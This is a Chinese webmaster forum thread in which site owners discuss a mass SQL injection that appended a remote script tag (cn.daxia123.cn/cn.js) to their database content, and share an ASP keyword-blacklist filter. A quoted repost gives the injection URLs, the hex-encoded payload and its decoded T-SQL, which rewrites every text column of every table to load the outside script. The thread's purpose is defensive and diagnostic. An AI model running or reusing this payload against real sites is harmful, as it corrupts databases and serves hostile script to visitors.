我的网站最近被“<script src=http://cn.daxia123.cn/cn.js></script>”修改了数据，每条信息（如果标题，内容）后面都此信息，并且是修改的数据库。我不知道恶人是能过什么方式修改我网站的数据库。请高手帮忙分析。你可以在google中输入<script src=http://cn.daxia123.cn/cn.js></script>代码，可以发现好多网站同样被做了修改，有的是在原有的图片路径加了此代码，使得图片无法显示，有的是在标题或内容加了此代码。使得面页极为零乱。

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; CIBA; 360SE)

我的网站没有这个功能啊！

我们已经防止sql注入了，大家没有加的可以加上试试。
代码如下：但我们加的好像并不好使！
<%
dim sql_injdata
SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|daxia123|<script|/script>"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
        For Each SQL_Get In Request.QueryString
                For SQL_Data=0 To Ubound(SQL_inj)
                        if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
                                Response.Write "<Script Language='javascript'>alert('请不要在参数中包含非法字符尝试注入！');history.back(-1)</Script>"
                        Response.end
                        end if
                next
        Next
End If


If Request.Form<>"" Then
        For Each Sql_Post In Request.Form
                For SQL_Data=0 To Ubound(SQL_inj)
                        if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
                                Response.Write "<Script Language='javascript'>alert('请不要在参数中包含非法字符尝试注入！');history.back(-1)</Script>"
                                Response.end
                        end if
                next
        next
end if


%>

转载：
我的观察是，它不是病毒，只是单纯的用网址+参数就可以更新数据库里的数据


第一次使用
[url]http://xxx.xxx.xxx/xxx.asp?xxx=xxx'[/url] AnD (sElEcT ChAr(94)+cAsT(CoUnT(1) aS VaRcHaR(100))+ChAr(94) fRoM [mAsTeR]..[sYsDaTaBaSeS])>0 AnD ''='

第二次使用
[url]http://xxx.xxx.xxx/xxx.asp?xxx=xxx%'[/url] AnD (sElEcT ChAr(94)+cAsT(CoUnT(1) aS VaRcHaR(100))+ChAr(94) fRoM [mAsTeR]..[sYsDaTaBaSeS])>0 And '%'='

第三次使用
http://xxx.xxx.xxx/xxx.asp?xxx=xxx;dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);--

第四次使用
[url]http://xxx.xxx.xxx/xxx.asp?xxx=xxx%'[/url] ;dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);-- aNd '%'='

第五次使用
[url]http://xxx.xxx.xxx/xxx.asp?xxx=xxx'[/url];dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);--

这些二进制编码是：
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

此种方法的破坏程度非常严重丫！！！

我用一下楼上朋友的防注入代码先试试！

这个代码怎么用呢，能说的详细点吧。非常感谢！